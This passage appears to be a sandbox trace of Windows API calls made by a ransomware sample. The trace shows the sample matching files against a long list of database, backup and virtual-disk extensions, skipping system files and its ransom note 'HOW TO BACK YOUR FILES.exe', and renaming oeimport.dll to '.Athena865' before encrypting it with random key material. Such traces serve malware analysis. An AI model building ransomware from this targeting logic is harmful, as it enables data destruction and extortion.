(lpString1="rt.dll", lpString2="db-wal") returned 1 [0040.276] lstrlenW (lpString="dbc") returned 3 [0040.276] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0040.276] lstrlenW (lpString="dbs") returned 3 [0040.276] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0040.276] lstrlenW (lpString="dbt") returned 3 [0040.276] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0040.276] lstrlenW (lpString="dbv") returned 3 [0040.276] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0040.276] lstrlenW (lpString="dbx") returned 3 [0040.276] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0040.276] lstrlenW (lpString="dcb") returned 3 [0040.276] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0040.277] lstrlenW (lpString="dct") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0040.277] lstrlenW (lpString="dcx") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0040.277] lstrlenW (lpString="ddl") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0040.277] lstrlenW (lpString="dlis") returned 4 [0040.277] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0040.277] lstrlenW (lpString="dp1") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0040.277] lstrlenW (lpString="dqy") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0040.277] lstrlenW (lpString="dsk") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0040.277] lstrlenW (lpString="dsn") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0040.277] lstrlenW (lpString="dtsx") returned 4 [0040.277] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0040.277] lstrlenW (lpString="dxl") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0040.277] lstrlenW (lpString="eco") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0040.277] lstrlenW (lpString="ecx") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0040.277] lstrlenW (lpString="edb") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0040.277] lstrlenW (lpString="epim") returned 4 [0040.277] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0040.277] lstrlenW (lpString="fcd") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0040.277] lstrlenW (lpString="fdb") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0040.277] lstrlenW (lpString="fic") returned 3 [0040.277] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0040.277] lstrlenW (lpString="flexolibrary") returned 12 [0040.277] lstrlenW (lpString="fm5") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0040.278] lstrlenW (lpString="fmp") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0040.278] lstrlenW (lpString="fmp12") returned 5 [0040.278] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0040.278] lstrlenW (lpString="fmpsl") returned 5 [0040.278] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0040.278] lstrlenW (lpString="fol") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0040.278] lstrlenW (lpString="fp3") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0040.278] lstrlenW (lpString="fp4") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0040.278] lstrlenW (lpString="fp5") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0040.278] lstrlenW (lpString="fp7") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0040.278] lstrlenW (lpString="fpt") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0040.278] lstrlenW (lpString="frm") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0040.278] lstrlenW (lpString="gdb") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0040.278] lstrlenW (lpString="gdb") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0040.278] lstrlenW (lpString="grdb") returned 4 [0040.278] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0040.278] lstrlenW (lpString="gwi") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0040.278] lstrlenW (lpString="hdb") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0040.278] lstrlenW (lpString="his") returned 3 [0040.278] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0040.278] lstrlenW (lpString="ib") returned 2 [0040.278] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0040.279] lstrlenW (lpString="idb") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0040.279] lstrlenW (lpString="ihx") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0040.279] lstrlenW (lpString="itdb") returned 4 [0040.279] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0040.279] lstrlenW (lpString="itw") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0040.279] lstrlenW (lpString="jet") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0040.279] lstrlenW (lpString="jtx") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0040.279] lstrlenW (lpString="kdb") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0040.279] lstrlenW (lpString="kexi") returned 4 [0040.279] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0040.279] lstrlenW (lpString="kexic") returned 5 [0040.279] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0040.279] lstrlenW (lpString="kexis") returned 5 [0040.279] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0040.279] lstrlenW (lpString="lgc") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0040.279] lstrlenW (lpString="lwx") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0040.279] lstrlenW (lpString="maf") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0040.279] lstrlenW (lpString="maq") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0040.279] lstrlenW (lpString="mar") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0040.279] lstrlenW (lpString="marshal") returned 7 [0040.279] lstrcmpiW (lpString1="ort.dll", lpString2="marshal") returned 1 [0040.279] lstrlenW (lpString="mas") returned 3 [0040.279] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0040.279] lstrlenW (lpString="mav") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0040.280] lstrlenW (lpString="maw") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0040.280] lstrlenW (lpString="mdbhtml") returned 7 [0040.280] lstrcmpiW (lpString1="ort.dll", lpString2="mdbhtml") returned 1 [0040.280] lstrlenW (lpString="mdn") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0040.280] lstrlenW (lpString="mdt") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0040.280] lstrlenW (lpString="mfd") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0040.280] lstrlenW (lpString="mpd") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0040.280] lstrlenW (lpString="mrg") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0040.280] lstrlenW (lpString="mud") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0040.280] lstrlenW (lpString="mwb") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0040.280] lstrlenW (lpString="myd") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0040.280] lstrlenW (lpString="ndf") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0040.280] lstrlenW (lpString="nnt") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0040.280] lstrlenW (lpString="nrmlib") returned 6 [0040.280] lstrcmpiW (lpString1="rt.dll", lpString2="nrmlib") returned 1 [0040.280] lstrlenW (lpString="ns2") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0040.280] lstrlenW (lpString="ns3") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0040.280] lstrlenW (lpString="ns4") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0040.280] lstrlenW (lpString="nsf") returned 3 [0040.280] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0040.280] lstrlenW (lpString="nv") returned 2 [0040.281] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0040.281] lstrlenW (lpString="nv2") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0040.281] lstrlenW (lpString="nwdb") returned 4 [0040.281] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0040.281] lstrlenW (lpString="nyf") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0040.281] lstrlenW (lpString="odb") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0040.281] lstrlenW (lpString="odb") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0040.281] lstrlenW (lpString="oqy") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0040.281] lstrlenW (lpString="ora") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0040.281] lstrlenW (lpString="orx") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0040.281] lstrlenW (lpString="owc") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0040.281] lstrlenW (lpString="p96") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0040.281] lstrlenW (lpString="p97") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0040.281] lstrlenW (lpString="pan") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0040.281] lstrlenW (lpString="pdb") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0040.281] lstrlenW (lpString="pdm") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0040.281] lstrlenW (lpString="pnz") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0040.281] lstrlenW (lpString="qry") returned 3 [0040.281] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0040.281] lstrlenW (lpString="qvd") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0040.282] lstrlenW (lpString="rbf") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0040.282] lstrlenW (lpString="rctd") returned 4 [0040.282] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0040.282] lstrlenW (lpString="rod") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0040.282] lstrlenW (lpString="rodx") returned 4 [0040.282] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0040.282] lstrlenW (lpString="rpd") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0040.282] lstrlenW (lpString="rsd") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0040.282] lstrlenW (lpString="sas7bdat") returned 8 [0040.282] lstrcmpiW (lpString1="port.dll", lpString2="sas7bdat") returned -1 [0040.282] lstrlenW (lpString="sbf") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0040.282] lstrlenW (lpString="scx") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0040.282] lstrlenW (lpString="sdb") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0040.282] lstrlenW (lpString="sdc") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0040.282] lstrlenW (lpString="sdf") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0040.282] lstrlenW (lpString="sis") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0040.282] lstrlenW (lpString="spq") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0040.282] lstrlenW (lpString="te") returned 2 [0040.282] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0040.282] lstrlenW (lpString="teacher") returned 7 [0040.282] lstrcmpiW (lpString1="ort.dll", lpString2="teacher") returned -1 [0040.282] lstrlenW (lpString="tmd") returned 3 [0040.282] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0040.283] lstrlenW (lpString="tps") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0040.283] lstrlenW (lpString="trc") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0040.283] lstrlenW (lpString="trc") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0040.283] lstrlenW (lpString="trm") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0040.283] lstrlenW (lpString="udb") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0040.283] lstrlenW (lpString="udl") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0040.283] lstrlenW (lpString="usr") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0040.283] lstrlenW (lpString="v12") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0040.283] lstrlenW (lpString="vis") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0040.283] lstrlenW (lpString="vpd") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0040.283] lstrlenW (lpString="vvv") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0040.283] lstrlenW (lpString="wdb") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0040.283] lstrlenW (lpString="wmdb") returned 4 [0040.283] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0040.283] lstrlenW (lpString="wrk") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0040.283] lstrlenW (lpString="xdb") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0040.283] lstrlenW (lpString="xld") returned 3 [0040.283] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0040.283] lstrlenW (lpString="xmlff") returned 5 [0040.283] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0040.284] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\oeimport.dll.Athena865") returned 52 [0040.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\oeimport.dll" (normalized: "c:\\program files\\windows mail\\oeimport.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\oeimport.dll.Athena865" (normalized: "c:\\program files\\windows mail\\oeimport.dll.athena865"), dwFlags=0x1) returned 1 [0040.284] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\oeimport.dll.Athena865" (normalized: "c:\\program files\\windows mail\\oeimport.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.284] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93184) returned 1 [0040.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.285] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.286] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.286] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.286] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f00, lpName=0x0) returned 0x154 [0040.288] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f00) returned 0x100000 [0040.295] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.295] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.295] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.296] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0040.297] CloseHandle (hObject=0x154) returned 1 [0040.297] CloseHandle (hObject=0x17c) returned 1 [0040.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.300] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2=".") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="..") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="windows") returned -1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="bootmgr") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="temp") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="pagefile.sys") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="boot") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="ids.txt") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="ntuser.dat") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="perflogs") returned 1 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2="MSBuild") returned 1 [0040.300] lstrlenW (lpString="wab.exe") returned 7 [0040.300] lstrcpyW (in: lpString1=0x241e884, lpString2="wab.exe" | out: lpString1="wab.exe") returned="wab.exe" [0040.300] lstrlenW (lpString="wab.exe") returned 7 [0040.300] lstrlenW (lpString="Athena865") returned 9 [0040.300] lstrlenW (lpString=".dll") returned 4 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2=".dll") returned 1 [0040.300] lstrlenW (lpString=".lnk") returned 4 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2=".lnk") returned 1 [0040.300] lstrlenW (lpString=".ini") returned 4 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2=".ini") returned 1 [0040.300] lstrlenW (lpString=".sys") returned 4 [0040.300] lstrcmpiW (lpString1="wab.exe", lpString2=".sys") returned 1 [0040.301] lstrlenW (lpString="wab.exe") returned 7 [0040.301] lstrlenW (lpString="bak") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0040.301] lstrlenW (lpString="ba_") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0040.301] lstrlenW (lpString="dbb") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0040.301] lstrlenW (lpString="vmdk") returned 4 [0040.301] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0040.301] lstrlenW (lpString="rar") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0040.301] lstrlenW (lpString="zip") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0040.301] lstrlenW (lpString="tgz") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0040.301] lstrlenW (lpString="vbox") returned 4 [0040.301] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0040.301] lstrlenW (lpString="vdi") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0040.301] lstrlenW (lpString="vhd") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0040.301] lstrlenW (lpString="vhdx") returned 4 [0040.301] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0040.301] lstrlenW (lpString="avhd") returned 4 [0040.301] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0040.301] lstrlenW (lpString="db") returned 2 [0040.301] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0040.301] lstrlenW (lpString="db2") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0040.301] lstrlenW (lpString="db3") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0040.301] lstrlenW (lpString="dbf") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0040.301] lstrlenW (lpString="mdf") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0040.301] lstrlenW (lpString="mdb") returned 3 [0040.301] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0040.301] lstrlenW (lpString="sql") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0040.302] lstrlenW (lpString="sqlite") returned 6 [0040.302] lstrcmpiW (lpString1="ab.exe", lpString2="sqlite") returned -1 [0040.302] lstrlenW (lpString="sqlite3") returned 7 [0040.302] lstrlenW (lpString="sqlitedb") returned 8 [0040.302] lstrlenW (lpString="xml") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0040.302] lstrlenW (lpString="$er") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0040.302] lstrlenW (lpString="4dd") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0040.302] lstrlenW (lpString="4dl") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0040.302] lstrlenW (lpString="^^^") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0040.302] lstrlenW (lpString="abs") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0040.302] lstrlenW (lpString="abx") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0040.302] lstrlenW (lpString="accdb") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accdb") returned 1 [0040.302] lstrlenW (lpString="accdc") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accdc") returned 1 [0040.302] lstrlenW (lpString="accde") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accde") returned 1 [0040.302] lstrlenW (lpString="accdr") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accdr") returned 1 [0040.302] lstrlenW (lpString="accdt") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accdt") returned 1 [0040.302] lstrlenW (lpString="accdw") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accdw") returned 1 [0040.302] lstrlenW (lpString="accft") returned 5 [0040.302] lstrcmpiW (lpString1="b.exe", lpString2="accft") returned 1 [0040.302] lstrlenW (lpString="adb") returned 3 [0040.302] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.303] lstrlenW (lpString="adb") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.303] lstrlenW (lpString="ade") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0040.303] lstrlenW (lpString="adf") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0040.303] lstrlenW (lpString="adn") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0040.303] lstrlenW (lpString="adp") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0040.303] lstrlenW (lpString="alf") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0040.303] lstrlenW (lpString="ask") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0040.303] lstrlenW (lpString="btr") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0040.303] lstrlenW (lpString="cat") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0040.303] lstrlenW (lpString="cdb") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0040.303] lstrlenW (lpString="ckp") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0040.303] lstrlenW (lpString="cma") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0040.303] lstrlenW (lpString="cpd") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0040.303] lstrlenW (lpString="dacpac") returned 6 [0040.303] lstrcmpiW (lpString1="ab.exe", lpString2="dacpac") returned -1 [0040.303] lstrlenW (lpString="dad") returned 3 [0040.303] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0040.303] lstrlenW (lpString="dadiagrams") returned 10 [0040.303] lstrlenW (lpString="daschema") returned 8 [0040.303] lstrlenW (lpString="db-journal") returned 10 [0040.303] lstrlenW (lpString="db-shm") returned 6 [0040.303] lstrcmpiW (lpString1="ab.exe", lpString2="db-shm") returned -1 [0040.304] lstrlenW (lpString="db-wal") returned 6 [0040.304] lstrcmpiW (lpString1="ab.exe", lpString2="db-wal") returned -1 